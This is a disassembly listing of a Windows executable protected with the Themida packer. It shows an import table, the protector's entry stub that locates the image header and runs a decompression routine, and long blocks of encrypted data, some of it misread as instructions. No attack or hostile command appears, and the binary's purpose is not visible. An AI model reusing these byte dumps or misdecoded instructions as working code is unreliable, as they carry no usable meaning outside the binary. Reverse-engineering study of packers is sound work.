db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
_rsrc___ ends
; Section 3. (virtual address 00112000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00112000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 512000h
dword_512000 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_6179A7+39r ...
aB db 'ÚÍ|',0
align 4
aE db 'Ïe',9,']',0
align 10h
dd 112050h, 112000h, 3 dup(0)
dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 00113000)
; Virtual size : 00112000 (1122304.)
; Section size in file : 00112000 (1122304.)
; Offset to raw data for section: 00113000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 513000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 0AE95652Ah, 48425h, 5EAE6h, 158172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_513086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_513041
popa
jmp short loc_513076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 30h, 51h, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_513041: ; CODE XREF: Themida_:0051302Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_51304E: ; CODE XREF: Themida_:00513072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_51306D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_513074
loc_51306D: ; CODE XREF: Themida_:00513059j
sub eax, 1000h
jmp short loc_51304E
; ---------------------------------------------------------------------------
loc_513074: ; CODE XREF: Themida_:0051306Bj
mov edi, eax
loc_513076: ; CODE XREF: Themida_:0051302Fj
jmp loc_513265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 11326Ah
add ecx, edi
jmp short loc_513090
; ---------------------------------------------------------------------------
loc_513086: ; CODE XREF: Themida_:0051301Cj
mov eax, offset loc_579A2F
mov ecx, offset word_51326A
loc_513090: ; CODE XREF: Themida_:00513084j
push eax
push ecx
call sub_51311B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_513265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_51311B proc near ; CODE XREF: Themida_:00513092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_513132: ; CODE XREF: sub_51311B+7Aj
; sub_51311B+C3j ...
add dl, dl
jnz short loc_51313B
mov dl, [esi]
inc esi
adc dl, dl
loc_51313B: ; CODE XREF: sub_51311B+19j
jnb short loc_513127
add dl, dl
jnz short loc_513146
mov dl, [esi]
inc esi
adc dl, dl
loc_513146: ; CODE XREF: sub_51311B+24j
jnb short loc_513197
xor eax, eax
add dl, dl
jnz short loc_513153
mov dl, [esi]
inc esi
adc dl, dl
loc_513153: ; CODE XREF: sub_51311B+31j
jnb loc_513238
add dl, dl
jnz short loc_513162
mov dl, [esi]
inc esi
adc dl, dl
loc_513162: ; CODE XREF: sub_51311B+40j
adc eax, eax
add dl, dl
jnz short loc_51316D
mov dl, [esi]
inc esi
adc dl, dl
loc_51316D: ; CODE XREF: sub_51311B+4Bj
adc eax, eax
add dl, dl
jnz short loc_513178
mov dl, [esi]
inc esi
adc dl, dl
loc_513178: ; CODE XREF: sub_51311B+56j
adc eax, eax
add dl, dl
jnz short loc_513183
mov dl, [esi]
inc esi
adc dl, dl
loc_513183: ; CODE XREF: sub_51311B+61j
adc eax, eax
jz short loc_51318D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_51318D: ; CODE XREF: sub_51311B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_513132
; ---------------------------------------------------------------------------
loc_513197: ; CODE XREF: sub_51311B:loc_513146j
mov eax, 1
loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j
add dl, dl
jnz short loc_5131A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5131A5: ; CODE XREF: sub_51311B+83j
adc eax, eax
add dl, dl
jnz short loc_5131B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5131B0: ; CODE XREF: sub_51311B+8Ej
jb short loc_51319C
sub eax, ebx
mov ebx, 1
jnz short loc_5131E3
mov ecx, 1
loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j
add dl, dl
jnz short loc_5131C9
mov dl, [esi]
inc esi
adc dl, dl
loc_5131C9: ; CODE XREF: sub_51311B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_5131D4
mov dl, [esi]
inc esi
adc dl, dl
loc_5131D4: ; CODE XREF: sub_51311B+B2j
jb short loc_5131C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_5131E3: ; CODE XREF: sub_51311B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j
add dl, dl
jnz short loc_5131FA
mov dl, [esi]
inc esi
adc dl, dl
loc_5131FA: ; CODE XREF: sub_51311B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_513205
mov dl, [esi]
inc esi
adc dl, dl
loc_513205: ; CODE XREF: sub_51311B+E3j
jb short loc_5131F1
cmp eax, 7D00h
jnb short loc_513228
cmp eax, 500h
jb short loc_513223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513223: ; CODE XREF: sub_51311B+F8j
cmp eax, 7Fh
ja short loc_51322B
loc_513228: ; CODE XREF: sub_51311B+F1j
add ecx, 2
loc_51322B: ; CODE XREF: sub_51311B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513238: ; CODE XREF: sub_51311B:loc_513153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_513259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_513132
; ---------------------------------------------------------------------------
loc_513259: ; CODE XREF: sub_51311B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_51311B endp
; ---------------------------------------------------------------------------
loc_513265: ; CODE XREF: Themida_:loc_513076j
; Themida_:005130B1j
jmp loc_579A2F
; ---------------------------------------------------------------------------
word_51326A dw 38E9h ; DATA XREF: Themida_:0051308Bo
dd 1523518h, 3B22F2FAh, 0CEBB3B84h, 0BEEB1001h, 1EE13522h
dd 8401F3AFh, 78B8FF2Ah, 0FE1FE1h, 6D656854h, 0E1616469h
dd 0DE96FA1Ah, 7024F31Ch, 0E4D78D03h, 77215C71h, 6552035Eh
dd 72617473h, 0C5704199h, 0F378E92Eh, 11AC6F84h, 0EB3B848Bh
dd 42B821C8h, 9822EFEAh, 0F2AA1AE1h, 0AB112E36h, 0ACCB5FAFh
dd 0A533FCEBh, 0D788AE01h, 4D009D5h, 0D1F524CFh, 9D03A592h
dd 8B8EFF10h, 60D442C5h, 815D10E8h, 3527ED00h, 95890615h
dd 0D2D6185h, 172AA5B5h, 27E5B2h, 7A9BD83h, 0C748083h
dd 29E8728Bh, 1EF1B8E2h, 4470F1C2h, 3E10C724h, 6A062559h
dd 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h, 0D5E90A89h
dd 214E910h, 7DECA5h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
lodsb
out dx, al
add al, 5Ah
sub edx, 8B003615h
fcmovb st, st(7)
inc ebp
fcom dword ptr [ecx+400EB108h]
mov [edi-33827EF8h], ecx
sbb byte ptr ds:200F6774h, 8
repne cmp dword ptr [edi+49h], 10h
inc dword ptr [esi-1E14BCEEh]
db 36h
aaa
fsub qword ptr [ecx+26h]
inc ecx
leave
retn 4004h
; ---------------------------------------------------------------------------
db 46h
dd 687CC481h, 0E44902FFh, 458D405Eh, 145D8B80h, 1985C708h
dd 0A08D5044h, 0AC3D10Ah, 89411888h, 0BD818A0Bh, 295D2006h
dd 4227E375h, 648EBA8Dh, 8A8075C0h, 0F449BB0Eh, 0ABB8005Bh
dd 0D3785437h, 0C30FFCD0h, 0F7754B08h, 47C3AFB0h, 464A4652h
dd 42F92A46h, 8A61D12Bh, 0F075D0A0h, 45EE8AFDh, 0EB0A4DFCh
dd 8C3CAD04h, 403E8046h, 84BA53F7h, 7D61346Eh, 907FEB0Ch
dd 6DCCF83Eh, 0CA84F012h, 8110F40Eh, 0F065C14Ah, 0F8D64004h
dd 339E0D1h, 332860C2h, 1C1C8ADBh, 0CCFB8030h, 390A0A72h
dd 3E05773Dh, 2267F2EBh, 0DF66114h, 6F667F0Ah, 4E5F1E08h
dd 10AC0AC3h, 7230411Ah, 77460A0Bh, 0A224DE06h, 0F05D0118h
dd 7383F4ECh, 72021B7Dh, 0C0370CB0h, 0AA66A576h, 0CEF84126h
dd 0A86A8D07h, 0FC553B00h, 0A978820Fh, 0AAC1B0BDh, 0BA5038BEh
dd 0E0B9E008h, 0BDFCA870h, 0FE3740A4h, 49470F01h, 22B9FA75h
dd 0BBDC6AC5h, 12310701h, 6DEB82F1h, 868ED802h, 16399F03h
dd 83655107h, 0CE5DF436h, 3EF1268Ah, 5944E9h, 0F3F2B6BCh
dd 0DA8C675Dh, 10C32C06h, 6230689h, 0EBFB87BCh, 0F1674008h
dd 58E16BA2h, 258704E9h, 20C46021h, 5257D8Ah, 8458233h
dd 4821001Eh, 5CF6C458h, 2B00887Dh, 0C0F8FB30h, 0EB8101Ah
dd 34CB8CDFh, 39826700h, 76305B4Eh, 3D511C0Fh, 76D17C04h
dd 4E46613Bh, 0D52E0975h, 0EC5D8211h, 8F9065E4h, 0C584A059h
dd 54968E05h, 8F5388B2h, 29C2040Ah, 0C4718C8Ch, 0F00EDBE7h
dd 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h, 3FBC9020h
dd 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh, 45CF4090h
dd 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh
dd 0A6561308h, 825E0AEEh, 0A881BDEEh, 8A7B440Fh, 13A2B9FAh
dd 29972305h, 57F60243h, 0E4C45F30h, 2275468Ah, 57470416h
dd 800323C4h, 0D881DF28h, 8D066D76h, 0BE951DAh, 476C0E29h
dd 0AB4079F9h, 2337A00Ah, 1F0DEA31h, 0EDECDA6Eh, 261D0007h
dd 0BD083D75h, 81E25C9Ch, 0B805E228h, 0DF51CC00h, 8610CA0Bh
dd 873DDD35h, 93C8DAC0h, 0F0352EB6h, 5C3A1B02h, 9D001723h
dd 0EAF921B7h, 8119C210h, 3193E1DCh, 8AF259E4h, 1D17EBF3h
dd 0CA8BC18h, 1216507Fh, 60E92940h, 82D2310Ch, 2600462Ch
dd 0F1A51844h, 3961A686h, 8C85CFB8h, 0E9010F3h, 5B20622Fh
dd 0E1F1F782h, 0C21DC3Bh, 1E6CFEC3h, 1BCE3169h, 8013EA0Ah
dd 0B7FFF733h, 73EBD783h, 3E1F00DFh, 31732338h, 7024E37h
dd 0E96159D4h, 7FDD200Dh, 0ED03228Fh, 962D21DFh, 0E7EA9720h
dd 85FD10Ch, 506277C2h, 48DFC20Bh, 0F2034F7Fh, 649395B8h
dd 0EE69BFD8h, 5B0EAFCh, 6288A24h, 0DBC28EBCh, 8974FB4Eh
dd 77800EEAh, 0D0E59C8Fh, 0C1016817h, 14F9F8DEh, 6A9C50C6h
dd 6752C0DAh, 90FB81BCh, 4284032Ch, 0E1576118h, 0C5F0011Ah
dd 0E94B6225h, 8F271010h, 0AB940E9Ah, 0E2A05D93h, 8EEF3B9h
dd 0C0E74800h, 71887626h, 2149485Ch, 9641932Ch, 0B02C008Ch
dd 3108ADB2h, 806EB139h, 35E0BC03h, 94EA0EAh, 0A11DBF88h
dd 8C965B00h, 90073A7h, 14369DDCh, 1D99132Dh, 0F058F738h
dd 0E3858748h, 0A10EB001h, 0B3808B50h, 62EEF0h, 19812803h
dd 85BEEACAh, 7679B960h, 0ACDA71h, 0DBED3702h, 3080883Dh
dd 1E2180FDh, 3FB8CD6Ah, 0EFD6009Ah, 0B1AC395Dh, 2000104Eh
dd 0A637DDA1h, 0E9E48h, 823DBF30h, 10311612h, 73773479h
dd 0FDF3Bh, 3E51E79Dh, 3A27DC0h, 89066777h, 2D3A1BAh, 0A8ADA800h
dd 0C0467527h, 0DF35041Dh, 0BC9C04h, 779F6DB3h, 32690129h
dd 38A1BD2Eh, 8839817Ch, 63DC477Bh, 15E6118Ch, 86009B3Ah
dd 9FEDAC46h, 9136F2h, 0C70C0E09h, 2F223967h, 0ADB10F00h
dd 46056319h, 15E700DCh, 0F889255Ch, 0ABF029AFh, 13621401h
dd 5A61E5A2h, 0B356C0D3h, 54840648h, 21072242h, 41F03F3Fh
dd 501F80E0h, 0E97B1C0Dh, 3C172800h, 0F998C700h, 3B01792Eh
dd 0F08200DEh, 7B39AABDh, 2203E7B3h, 15621E56h, 1884FBC4h
dd 5103CF81h, 4C0088E9h, 11817F12h, 38B1A25h, 129565Fh
dd 169D2842h, 919E1848h, 0EA0015C8h, 66A8751Ah, 1E25C188h
dd 4C0DCAh, 86402E0Bh, 8930F885h, 0B78388B4h, 0B9616790h
dd 6AEB10C2h, 860160FCh, 3B213574h, 50801B1Ah, 79DDE672h
dd 45018039h, 6C258447h, 898008CCh, 0A19283CFh, 963B5968h
dd 7E2192C1h, 7805110h, 0FDE66DDFh, 457106A0h, 42D700ADh
dd 0D4D2E80h, 823035C8h, 0FC54A87Ch, 3D3930D5h, 138A2F28h
dd 6BB5715h, 0A26707C8h, 0E440410Eh, 0E2C43231h, 0DB72D9h
dd 6D9B9279h, 0E5343CDh, 5C1C99C2h, 7490A341h, 0C2FD8F2h
dd 387902CCh, 0D588FE8Ah, 6A8E21C0h, 1608CB00h, 0FBE9E074h
dd 785300C4h, 0A306EE6Eh, 94A87EE5h, 39901925h, 805D453Bh
dd 619ABCB8h, 3C351802h, 0C93873E1h, 0B8DE1094h, 397DE518h
dd 0B0006F8h, 6B0E761Ah, 28DDE88Eh, 71A82AF9h, 0C87208DEh
dd 0CF0614B6h, 38653Ah, 0F53493D3h, 5C452B95h, 4032700h
dd 7E9F3BB2h, 6E383A87h, 98308C9Fh, 510EE94Dh, 0F843D800h
dd 0D175BAABh, 297D005Bh, 6CA4301Fh, 3F482C42h, 807C885Ch
dd 827ACEDDh, 0DF027ED7h, 1DCD2F25h, 520489Eh, 0B6B12491h
dd 48A4011Ch, 0CB79A906h, 3DC8100Ah, 6D94E026h, 30907548h
dd 97DBF21h, 98132B43h, 0E53491FCh, 58218071h, 0E8746CB4h
dd 0CEF71869h, 0E2C5D0F6h, 5025DA00h, 0B026AF3Ch, 30110486h
dd 802304D2h, 29A4510Ch, 42C3B219h, 80876F10h, 0C1B4C52Ch
dd 8544C4D2h, 0A8C17318h, 0CF47B041h, 0BB304360h, 84A748C4h
dd 545D4440h, 36A442h, 0E7F65FFh, 0B34E0FD0h, 2C998217h
dd 0C38F1500h, 0C03ECCECh, 0FFE068D1h, 9FF41204h, 53FB302h
dd 0E0573CBEh, 0A0538EBFh, 91D221F4h, 6C0F3E68h, 4046C7B7h
dd 0A20F99BEh, 0C047A081h, 0C5127B3Ah, 5F880077h, 0CB1D2966h
dd 0E77BF053h, 9002E524h, 0D1CD2600h, 0E8079C60h, 5B7F0088h
dd 1255AEA5h, 0D90027C3h, 0EF2E697Bh, 9E642h, 371ED496h
dd 0C2A45B33h, 4783ED00h, 7DD7F6C1h, 0E8F40165h, 0A0FF09DBh
dd 4D98E07Ch, 24663501h, 0DE903C1Ch, 0E7E0F4h, 0F1ECC96h
dd 0EBC09A72h, 0B41CF100h, 0A5CAE2C7h, 9C9844h, 0C483B2A4h
dd 8C8043D1h, 0DD60BB05h, 0D4453886h, 0B44C625Dh, 24A030BDh
dd 72889B1h, 488A1B5Eh, 0AAC47285h, 1D42904Fh, 0F61B2FC7h
dd 1F207576h, 0CF7C7C5h, 751475Ch, 0B724570Fh, 6A0EE06Bh
dd 181868E4h, 49B4FCD5h, 2600E935h, 0BEEE9407h, 3C7EA31h
dd 23246E2Eh, 73C06B8Ch, 8AF479C4h, 0C5C958A3h, 2F4183A6h
dd 43B7BBAh, 0CC34B518h, 32A20005h, 0F6F0DCh, 63852D04h
dd 9239E10Ch, 1DECD8C4h, 0E05D8088h, 18AC61DDh, 0D287B7F5h
dd 0D47D1401h, 182028EDh, 0A472F248h, 0E8DA103Ch, 34A5004Dh
dd 0CDFC74A1h, 30236CD5h, 40408420h, 2B5F34C5h, 74A4018Ah
dd 11ACC672h, 96CCD348h, 62D8E289h, 0C9F6317Eh, 140040C4h
dd 0B347E7B5h, 3089179h, 0B7A44953h, 21026483h, 3094C651h
dd 32006001h, 34755815h, 88F93FC5h, 1B19304Ch, 8588791Eh
dd 16057824h, 418CBDA9h, 0CFB1A188h, 0D0888B48h, 8B4401C7h
dd 0B1A8A5E1h, 2B6E007Ch, 439934E4h, 909A3625h, 4F633F7Ah
dd 0ADE869h, 0AA9BF131h, 0F40C3C3Eh, 0A01C7700h, 0BEE15835h
dd 2C01061Fh
dd 705F48D2h, 0DAF020F6h, 102FD434h, 0E245481h, 405D1511h
dd 3866F364h, 0FD01B47Fh, 0BAEC4481h, 0E5DCFCD6h, 7CC0A02Dh
dd 0D0B54C6Eh, 5F958B17h, 31CDC614h, 42012022h, 39EE528Eh
dd 35C4C7B1h, 7465499Ah, 88F11C40h, 79C05C5Dh, 96EBAFC8h
dd 0FDF7026Bh, 0D22D972h, 0B8200844h, 40B26245h, 429D18Ah
dd 0CF4BD378h, 17C86090h, 6BDAF400h, 4EC1EA3h, 0A7BF37FDh
dd 0C926D028h, 0B891E805h, 24581600h, 0FE97F7A0h, 2E1B2A21h
dd 225C92F4h, 850A0DDEh, 0E8874198h, 7254205h, 97900C5Fh
dd 59A1AB18h, 794986ADh, 4AC5624h, 60C8D997h, 0ADCDF901h
dd 826C249Ah, 705A1820h, 0B8E0A063h, 33B08142h, 22684C88h
dd 0DC6B0070h, 79A8BEB2h, 0DB37B1A4h, 0AC6A3046h, 0C5FC1901h
dd 608225BDh, 4AEE4072h, 8083B8A7h, 97433F7Dh, 8CACDFAh
dd 0B28B0844h, 40430580h, 4E90C01Dh, 0BDD5FD06h, 0DB04504Ah
dd 6424E882h, 5348E4C0h, 0F40851EEh, 401AF020h, 1B182867h
dd 3F180E56h, 814E60E1h, 648A29B3h, 0F8905092h, 0BC2F212Eh
dd 0B9F08280h, 0D65742Eh, 0F561DC8h, 43B5CC40h, 0C07C2D5Ch
dd 88B7B4C3h, 0FC88A96Fh, 7382CE20h, 12F892B0h, 839A3DC1h
dd 0D9C0CB18h, 0E2092AF0h, 90E66CEEh, 3DFA0148h, 0D6939775h
dd 7DD40D41h, 0CE8088D9h, 78831461h, 7DEE1B82h, 2665DC03h
dd 10541D49h, 0F6291E21h, 0D931C54Ch, 290360CFh, 0E8CE9674h
dd 0B4D01F0Fh, 6AD6A046h, 6958818Ch, 4901B925h, 50485C26h
dd 9F8B998h, 3C7BF100h, 12884903h, 0E856120Bh, 0BA94202Ch
dd 14804093h, 3DCC2A1Ah, 0B8D4F994h, 0C58B00B0h, 8D29F8DAh
dd 110BF60Fh, 46F4BF3h, 0FC0D240h, 2E332D24h, 2C4C43Ch
dd 89C2E032h, 584CE886h, 8C08FC1Eh, 1022384Ch, 0EF0E156Ah
dd 0A981EC04h, 84B3881h, 5A604475h, 0F75C2F01h, 0D49371B5h
dd 7B229423h, 65DD1509h, 0E0740003h, 0C05A5CC3h, 703E5259h
dd 3A09EAE7h, 91DE72E3h, 4C62CF84h, 0A80A1E05h, 0DCE7C088h
dd 0B45C02AFh, 629A01C8h, 67E2A212h, 604E6980h, 0CC70E018h
dd 80219E3Ch, 6983477Ch, 0A482B7B3h, 6EC480E8h, 808C94E6h
dd 99FAF55Ch, 58005696h, 0E962AEACh, 3FEBD7h, 6B2A9CD3h
dd 43C54688h, 99072E30h, 2639428Dh, 0AD0FCFh, 0C877F328h
dd 64E3122Dh, 4728C4F0h, 5920A4F9h, 0AFE830DDh, 2B09ABE1h
dd 0E6589201h, 0E2F21769h, 4119848h, 844CA9BDh, 5670C2E4h
dd 0DDFC3048h, 0BC310528h, 2BB98113h, 8FC52449h, 0E5E1A19Ch
dd 498F39B4h, 0A0ABE815h, 0D044E0A9h, 85DA8D00h, 208BE119h
dd 16F502FBh, 689225C1h, 0F10D7C40h, 48BA6533h, 0F622E3C4h
dd 0E67400D0h, 4A8E4519h, 5CB8AC37h, 84444h, 313517EAh
dd 0B4D3ED75h, 0CD3CEF09h, 90088295h, 88470571h, 4A71378h
dd 10DC408h, 9F348A53h, 205031B5h, 44942C78h, 909AF48Fh
dd 6C26421Eh, 0F0C685ECh, 0F04CD705h, 7FCB7350h, 618E2E00h
dd 0A937FD3Fh, 0D6A7099Ch, 0D4A876F0h, 0FDDD6290h, 4B25AC60h
dd 3086E880h, 402841B0h, 4600147Ch, 5921D2F5h, 2E0FE01h
dd 18131B55h, 90680B86h, 99622CF0h, 61F71280h, 8828C178h
dd 0ECAB610Eh, 43307474h, 6CC73208h, 0C65C297Fh, 7CA68030h
dd 0C635C5E6h, 0E120AB89h, 5918CD77h, 4CD08672h, 0CC63180Dh
dd 8A2F2929h, 0E78CE854h, 681F0C32h, 7D0F0E12h, 0EBC698F8h
dd 0E82A08A4h, 0AC85B830h, 0C8202B13h, 12C7CACBh, 12FBE1Dh
dd 0C5EEA304h, 0A679802Dh, 1DDFAE6Fh, 202E69BAh, 0A1DC8C82h
dd 0EE6DE120h, 8318A8ADh, 8CCD54F8h, 114331DEh, 653271h
dd 48D6D36Ch, 60007FFAh, 25BBBA86h, 650E6352h, 0C0F9612h
dd 178041C5h, 471BE2E6h, 485F5A1Ch, 839734ACh, 8F01FF0Fh
dd 0A0FD0029h, 0FACA108Ch, 1E0F06A7h, 0D98A3813h, 4C888B28h
dd 0A5CF5F15h, 309A48A0h, 53B3D1A4h, 3F010999h, 90E09129h
dd 0C201E5DBh, 5BFD46A6h, 5C62D465h, 0B2096405h, 0FCEC8889h
dd 3B687601h, 0EB2143BFh, 4A0B6193h, 9EB80A68h, 0B2854482h
dd 4A88C2FAh, 5891D0A6h, 2312288Dh, 280A144Ah, 0F1D37E70h
dd 90DC5892h, 3B372C50h, 40F44A1Eh, 58265A9Dh, 3A44515h
dd 7F46B6C1h, 4068A509h, 4E2124Fh, 8A3890EEh, 0E7001CB3h
dd 7A857D5Bh, 0C60B039Ah, 41D5E591h, 3159AD37h, 15D63C4Ah
dd 0A4EF2443h, 0D7AE280Bh, 1189D498h, 0C8344BEDh, 77035EC5h
dd 198EEBE6h, 0BB7EEB5Eh, 3D0FE47Dh, 0FC05C740h, 84146846h
dd 2B48D85Dh, 0BC64BCA4h, 8A33B26Ch, 0F7186143h, 42080169h
dd 98242B21h, 0B828E951h, 0AED9730Ch, 54A16761h, 409108E4h
dd 0EC09EE1Eh, 10FB4022h, 79E1DE98h, 0DFC7070Bh, 71EE5528h
dd 0F7F65C6Fh, 1E709150h, 0E5E70109h, 38BC8664h, 0B48B0F81h
dd 0CB8A295Ah, 23966520h, 0FD2E8BCh, 988EA082h, 202F9C41h
dd 470277A0h, 1C137DCBh, 2DE87822h, 7C00BEE5h, 0CF3B265Bh
dd 2ED0FD00h, 0CDB10BB3h, 97238E4h, 0BD71C180h, 0EC7A2DE0h
dd 0C93A0500h, 2B20B49Dh, 0CDEA03h, 0DC3B4D97h, 0BB2136EEh
dd 0E784650Fh, 0DD3E0D1h, 724C7682h, 13EA0035h, 98250633h
dd 40C1A688h, 4EA0C783h, 40368C00h, 8974C000h, 3D6FABE7h
dd 72AF0315h, 2E2DDE76h, 250A03B0h, 19506D00h, 0C789D92Ah
dd 3B4C0084h, 24F182A3h, 4A9002C0h, 14953C94h, 50F9AA04h
dd 0CCEFD8F8h, 74863212h, 80D4D800h, 3AAF1D37h, 2700B50Ah
dd 7CC343Bh, 420098CBh, 880D10A7h, 188295C6h, 40EEA4EFh
dd 72000BBCh, 23AAAD8h, 370B215h, 315CD076h, 70D733FBh
dd 12F6A74Eh, 0F394201Ch, 0E0358680h, 203CF2EEh, 3AE276B1h
dd 90780EF6h, 2800D2F2h, 2E1E1827h, 416B7Fh, 980FCEEBh
dd 0E54785F3h, 0C3A8DF0Eh, 7279E33Ch, 0F7DF8CDh, 38BE4C0Eh
dd 0B0EB9452h, 0CB82D6h, 8475B740h, 1B3AD120h, 77901500h
dd 3124DB76h, 0A3300AFh, 0F4B36BCBh, 9D001019h, 0E24B51C8h
dd 7DF3EED9h, 0B6C20035h, 3703E4D1h, 0CB00AF33h, 3E4ECC9Ch
dd 430B16h, 0E37E502Dh, 0C18BD41Bh, 0E8816D00h, 3AF1E4D9h
dd 0F340CEB6h, 152064E0h, 0E0F4CB8Ah, 0F93D3000h, 6B3E4917h
dd 14A7004Fh, 0A0F88620h, 1338E74Ch, 0C02E81F1h, 0ADCD83C3h
dd 0D98A1F01h, 0AB8C6614h, 0D7FE27F0h, 3F36FD00h, 0CA8468BBh
dd 357E1FD4h, 77CD4120h, 3327EFh, 7962539h, 70F1973h, 71A0F057h
dd 0FD00D53Bh, 7EF235CFh, 7A7D1BDh, 0BE18050Ah, 9FD9806Fh
dd 10001D3Bh, 586CC249h, 0A71BE9h, 8D85CE7Dh, 0CCE113E6h
dd 77B53D00h, 3AA8DA86h, 0C1070009h, 2CE9760Ah, 1907E640h
dd 0B3673849h, 9BD41490h, 4E9400CBh, 0FEAC1339h, 0C302BF32h
dd 6FB0D6B1h, 0DACC0CEh, 9FCF1077h, 74041035h, 0C513101Fh
dd 2457C181h, 0FE046F88h, 6E88CBC0h, 0A003C89Ah, 84DE4894h
dd 0F2D1B352h, 60349592h, 70DC956Bh, 0D17B8700h, 0DE9A5B79h
